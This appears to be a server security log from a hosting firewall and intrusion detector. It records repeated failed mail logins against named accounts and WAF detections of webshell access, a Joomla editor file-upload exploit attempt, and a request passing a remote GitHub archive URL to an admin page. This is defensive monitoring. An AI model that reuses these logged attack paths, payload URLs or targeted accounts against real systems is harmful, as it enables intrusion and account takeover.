2026-07-20 20:50:41 dovecot_login authenticator failed for H=([223.210.27.53]) [174.179.100.65]:47172: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-20 20:50:57 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au ([142.54.231.33]) [27.33.247.46]:59516: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.131.87.211
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/942638528 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-20 20:54:37 dovecot_login authenticator failed for H=([164.164.117.23]) [94.16.17.140]:45840: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-20 20:54:53 dovecot_login authenticator failed for H=(111-70-23-245.emome-ip.hinet.net) [175.200.217.128]:45834: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.238.230
country_id: 357994
description:
2026-07-20 20:55:32 dovecot_plain authenticator failed for H=(shrong) [154.177.238.230]:58060: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-20 20:57:08 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [14.42.47.150]:45545: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-20 20:56:32 dovecot_login authenticator failed for H=([36.163.227.186]) [38.108.83.2]:47634: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.93.100.215
country_id: 2921044
description:
2026-07-20 20:56:47 dovecot_login authenticator failed for H=([220.189.196.134]) [142.93.100.215]:43198: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.26.37.10
country_id: 298795
description:
2026-07-20 20:56:49 dovecot_login authenticator failed for H=([74.119.147.213]) [5.26.37.10]:48602: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.143.208.202
country_id: 6252001
description:
2026-07-20 20:56:48 dovecot_login authenticator failed for H=47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net (67-43-240-149.fidnet.com) [47.143.208.202]:58780: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked\">1v1.lol unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-20 20:59:43 dovecot_login authenticator failed for H=([171.211.123.106]) [103.207.9.154]:34052: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.251.73
country_id: 1269750
description:
2026-07-20 21:01:06 dovecot_login authenticator failed for H=(118-211-165-46.tpgi.com.au) [122.187.251.73]:48220: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.45
country_id: 1733045
description:
2026-07-20 21:01:18 dovecot_login authenticator failed for H=(ool-182ff371.dyn.optonline.net) [49.124.146.45]:42154: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-20 21:02:07 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([192.252.210.237]) [67.85.146.216]:60798: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-20 21:02:27 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([128.1.12.54]) [78.66.44.246]:53796: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.19.120
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a91769845 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-20 21:07:34 dovecot_login authenticator failed for H=([49.124.159.194]) [196.190.220.199]:43616: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-20 21:07:48 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com (49.206.201.253.actcorp.in) [78.66.45.101]:33246: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 20.115.165.93
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-20 21:11:35 dovecot_login authenticator failed for H=([121.189.198.60]) [181.56.174.63]:59460: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-20 21:11:44 dovecot_login authenticator failed for H=([184.181.217.198]) [65.20.161.126]:43526: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 21:14:03 dovecot_login authenticator failed for H=([49.124.205.169]) [102.210.148.41]:39896: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-20 21:14:23 dovecot_login authenticator failed for H=([183.171.12.224]) [182.78.112.174]:47190: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.190.129.200
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f93792917 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.200.6
country_id: 1269750
description:
2026-07-20 21:16:12 dovecot_login authenticator failed for H=([218.54.35.180]) [152.52.200.6]:37268: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-20 21:16:35 dovecot_login authenticator failed for H=(imparhoteis.static.gvt.net.br) [182.95.106.102]:45502: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-20 21:16:55 dovecot_login authenticator failed for H=([107.181.161.85]) [182.95.63.126]:48134: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-20 21:16:24 dovecot_login authenticator failed for H=([180.94.74.94]) [122.187.174.78]:51958: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-20 21:17:32 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu ([72.207.113.126]) [188.36.7.196]:53878: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-20 21:17:45 dovecot_login authenticator failed for H=([196.188.187.205]) [59.90.111.74]:48662: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-20 21:18:05 dovecot_login authenticator failed for H=([103.168.241.32]) [122.185.101.50]:59488: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-20 21:18:14 dovecot_login authenticator failed for H=([217.59.129.130]) [207.254.71.129]:63675: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-20 21:18:30 dovecot_login authenticator failed for H=([183.171.208.25]) [211.63.34.149]:50269: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-20 21:18:38 dovecot_login authenticator failed for H=([49.124.159.187]) [91.86.92.45]:48539: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-20 21:18:54 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([89.233.203.159]) [75.80.65.214]:51196: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 21:19:02 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([196.0.107.158]) [37.207.215.2]:32022: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[params][pageclass_sfx]||MV:director||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-20 21:21:07 dovecot_login authenticator failed for H=([72.207.109.1]) [103.174.145.35]:35125: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-20 21:21:43 dovecot_login authenticator failed for H=([49.124.131.245]) [165.101.222.22]:39050: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-20 21:22:58 dovecot_login authenticator failed for H=([47.215.0.179]) [213.154.80.51]:52300: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-20 21:23:18 dovecot_login authenticator failed for H=(183.82.108.109.actcorp.in) [70.91.135.181]:6987: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.115.222.35
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/023121809 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.232.196.6
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/173181663 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_date_attribute_class]||MV: inputbox ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-20 21:27:19 dovecot_login authenticator failed for H=([142.54.225.52]) [49.206.28.215]:27164: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-20 21:27:37 dovecot_login authenticator failed for H=([202.72.193.36]) [206.62.136.109]:41740: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_textarea_attribute_class]||MV: inputbox visCSSinput ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.180
country_id: 1733045
description:
2026-07-20 21:29:47 dovecot_login authenticator failed for H=([82.102.158.36]) [49.124.155.180]:59992: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-20 21:30:15 dovecot_login authenticator failed for H=([183.63.220.210]) [182.95.116.66]:55472: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.32.103
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b13409814 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-20 21:34:08 dovecot_login authenticator failed for H=([125.139.124.120]) [210.5.117.238]:51498: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 182.9.35.98
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/ChiefYoru/ChiefYoru/refs/heads/main/template.zip||User:metrodigitals||SC:/home/metrodigitals/public_html/administrator/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.98
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/zas.php||SC:/home/metrodigitals/public_html/images/zas.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-20 21:35:10 dovecot_login authenticator failed for H=([70.166.167.50]) [14.42.47.150]:28709: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-20 21:34:20 dovecot_login authenticator failed for H=([106.0.165.219]) [180.71.9.31]:55816: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_fieldsep_attribute_class]||MV: visCSStop10 ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-20 21:35:26 dovecot_login authenticator failed for H=([98.170.57.251]) [220.77.214.59]:37260: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.131.27.24
country_id: 2077456
description:
2026-07-20 21:35:41 dovecot_login authenticator failed for H=(121.242.112.205.static-hyderabad.vsnl.net.in) [115.131.27.24]:46945: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-20 21:37:03 dovecot_login authenticator failed for H=(ip-50-5-205-174.dynamic.fuse.net) [178.244.215.186]:54444: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.84
country_id: 1733045
description:
2026-07-20 21:37:06 dovecot_login authenticator failed for H=([125.215.199.37]) [49.125.201.84]:52302: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-20 21:37:22 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([49.124.205.169]) [111.70.11.38]:45968: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-07-20 21:41:51 dovecot_login authenticator failed for H=([192.111.131.4]) [90.173.78.90]:42316: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-20 21:42:00 dovecot_login authenticator failed for H=([191.210.159.32]) [102.211.7.162]:48914: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.136.206
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c92968648 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-20 21:44:23 dovecot_login authenticator failed for H=(111-70-34-21.emome-ip.hinet.net) [61.79.170.117]:54631: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-20 21:45:25 dovecot_login authenticator failed for H=(p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp) [188.122.37.97]:47384: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 146.241.223.103
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d12552104 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-20 21:48:37 dovecot_login authenticator failed for H=(187-40-215-162.user.vtal.net.br) [182.66.213.59]:56070: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-20 21:48:56 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network (dynamic-adsl.viettel.vn) [202.62.129.18]:52125: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-20 21:49:47 dovecot_login authenticator failed for H=([144.123.153.214]) [196.188.93.169]:6361: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-20 21:49:21 dovecot_login authenticator failed for H=(42-194-136-45.ddns.movitel.tv) [103.206.131.33]:48619: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.124.90
country_id: 1269750
description:
2026-07-20 21:49:42 dovecot_plain authenticator failed for H=(psocal) [59.145.124.90]:57494: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.68.187.218
country_id: 6252001
description:
2026-07-20 21:51:54 dovecot_login authenticator failed for H=(81.214.75.248.dynamic.ttnet.com.tr) [66.68.187.218]:39952: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.32.200.175
country_id: 2077456
description:
2026-07-20 21:53:01 dovecot_login authenticator failed for H=27-32-200-175.tpgi.com.au ([177.23.136.82]) [27.32.200.175]:36649: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-20 21:52:48 dovecot_login authenticator failed for H=([50.223.176.171]) [122.187.234.73]:55806: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.182.12.141
country_id: 6252001
description:
2026-07-20 21:57:10 dovecot_login authenticator failed for H=wsip-70-182-12-141.lf.br.cox.net (ip-142-54-232-1.hosts.zerolag.com) [70.182.12.141]:58365: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-20 21:57:47 dovecot_login authenticator failed for H=([62.36.19.41]) [125.23.204.74]:52386: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-20 21:58:08 dovecot_login authenticator failed for H=([94.29.38.71]) [50.231.243.28]:39998: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.107.161
country_id: 294640
description:
2026-07-20 21:57:20 dovecot_login authenticator failed for H=(107-132-153-59.lightspeed.rcsntx.sbcglobal.net) [46.210.107.161]:36498: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.177.80.73
country_id: 6252001
description:
2026-07-20 21:57:46 dovecot_login authenticator failed for H=([112.27.38.203]) [207.177.80.73]:45620: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-20 21:59:31 dovecot_login authenticator failed for H=([61.72.145.38]) [88.215.1.201]:33274: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.17
country_id: 1861060
description:
2026-07-20 22:00:41 dovecot_login authenticator failed for H=(250.43.246.220.static.netvigator.com) [212.135.208.17]:59466: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-20 22:00:54 dovecot_login authenticator failed for H=([118.250.183.25]) [49.158.208.139]:50780: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-20 22:00:55 dovecot_login authenticator failed for H=([136.29.52.7]) [197.219.208.58]:45742: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-20 22:01:00 dovecot_login authenticator failed for H=([36.92.41.116]) [65.20.211.96]:46753: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 212.237.127.189
country_id: 99237
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:56859.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:561ef7e1556986a5534fcf8734769b7593d6b755||Title:0xf6700e97||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.195.184.129
country_id: 2802361
description:
2026-07-20 22:01:04 dovecot_login authenticator failed for H=d54c3b881.access.telenet.be (111-70-19-63.emome-ip.hinet.net) [84.195.184.129]:63670: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 205.143.211.248
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:205.143.211.248||TA:205.143.211.248||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.74.211
country_id: 1269750
description:
2026-07-20 22:03:19 dovecot_login authenticator failed for H=([59.127.220.67]) [117.211.74.211]:56056: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77469916
abuser: 185.65.133.27
country_id: 660013
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-7467.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-20 22:03:52 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([102.210.149.95]) [210.0.90.82]:49444: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-20 22:06:58 dovecot_login authenticator failed for H=([174.64.199.69]) [106.201.76.203]:11803: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-20 22:07:12 dovecot_login authenticator failed for H=([70.166.167.50]) [119.196.213.196]:42982: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-20 22:12:05 dovecot_login authenticator failed for H=([182.74.216.125]) [182.95.63.126]:49882: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.56.205
country_id: 1269750
description:
2026-07-20 22:11:45 dovecot_login authenticator failed for H=([192.252.214.22]) [128.185.56.205]:39890: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.149.240.254
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1b2740191 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-20 22:13:08 dovecot_login authenticator failed for H=([66.54.169.3]) [49.206.201.253]:52432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.11.161
country_id: 1835841
description:
2026-07-20 22:13:33 dovecot_login authenticator failed for H=(pppoe-78-111-249-76.dynamic.tvingo.ru) [112.184.11.161]:34840: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-20 22:13:42 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net (broadband-95-84-137-185.ip.moscow.rt.ru) [193.180.125.157]:47700: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.34.85.99
country_id: 1835841
description:
2026-07-20 22:14:03 dovecot_login authenticator failed for H=([183.171.15.95]) [14.34.85.99]:37674: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.144
country_id: 1733045
description:
2026-07-20 22:16:25 dovecot_login authenticator failed for H=([61.79.170.117]) [183.171.49.144]:56324: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:
